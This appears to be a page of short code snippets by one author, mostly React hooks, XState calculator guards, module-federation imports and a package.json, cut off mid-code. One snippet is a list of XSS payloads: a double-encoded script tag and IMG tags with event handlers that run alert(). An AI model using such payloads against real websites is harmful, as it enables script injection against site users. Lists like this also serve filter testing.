Jordan-Gilliam

function makeSingleton(func) {
  let instance,
  return new Proxy(func, {
      construct: function (target, args) {
          if (!instance) {
              instance = new func();
          }
          return instance;
      }
  });

Jordan-Gilliam

// src: https://overreacted.io/a-complete-guide-to-useeffect/
// Optimized useReducer Counter
/* 
   “How is this any better?” 
   The answer is that React guarantees the dispatch function to be constant throughout the component lifetime.
   So the example above doesn’t ever need to resubscribe the interval. 
*/

/* 
Explanation:

Jordan-Gilliam

function SearchResults() {
  // 🔴 Re-triggers all effects on every render
  function getFetchUrl(query) {
    return 'https://hn.algolia.com/api/v1/search?query=' + query;
  }

  useEffect(() => {
    const url = getFetchUrl('react');
    // ... Fetch data and do something ...
  }, [getFetchUrl]); // 🚧 Deps are correct but they change too often

Jordan-Gilliam

const not = fn => (...args) => !fn.apply(null, args);
const isZero = (extState, evtObj) => evtObj.key === 0;
const isNotZero = not(isZero);
const isMinus = (extState, evtObj) => evtObj.operator === '-';
const isNotMinus = not(isMinus);
const divideByZero = (extState, evtObj) =>
  extState.operand2 === '0.' && extState.operator === '/';
const notDivideByZero = not(divideByZero);
const calcMachine = Machine({
  id: 'calculator',

Jordan-Gilliam

const not = fn => (...args) => !fn.apply(null, args);
const isZero = (context, event) => event.key === 0;
const isNotZero = not(isZero);
const isMinus = (context, event) => event.operator === "-";
const isNotMinus = not(isMinus);
const divideByZero = (context, event) =>
  context.operand2 === "0." && context.operator === "/";
const notDivideByZero = not(divideByZero);

Jordan-Gilliam

import React from "react";
import ComponentB from "mfe-b/Component"; // <- these are remote modules,
import ComponentC from "mfe-c/Component"; // <- but they are used as usual packages
import { de } from "date-fns/locale";

// remote modules can also be used with import() which lazy loads them as usual
const ComponentD = React.lazy(() => import("mfe-c/Component2"));

const App = () => (
	<article>

Jordan-Gilliam

import React from 'react';
import { FederatedProvider } from './federated-provider';
import { scopes } from './scopes';

// This is an example app on how you would setup your Nextjs app

const App = ({ Component }) => {
  return (
        <FederatedProvider scopes={scopes}>
          <Component />

Jordan-Gilliam

  /* ________ RENDER "FACTORY" ________
    -> lower level react methods allow more control over child rendering
    -> cloneElement is necessary to ensure immutability
    -> ugly but allows us to handle use-cases with one component or many
    -> cloneElement ensures referential equality & immutability :)
    -> ugly but allows us to handle use-cases with one child component or many
  */

  let elements = React.Children.toArray(props.children);
  if (elements.length === 1) {

Jordan-Gilliam

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

Jordan-Gilliam

{
  "name": "rocket-science-computer-validator",
  "version": "1.0.0",
  "description": "I use this to validate people's computers have the proper versions of node and npm installed for rocket-science",
  "bin": "./validate-system.js",
  "dependencies": {
    "semver": "7.1.3"
  }
}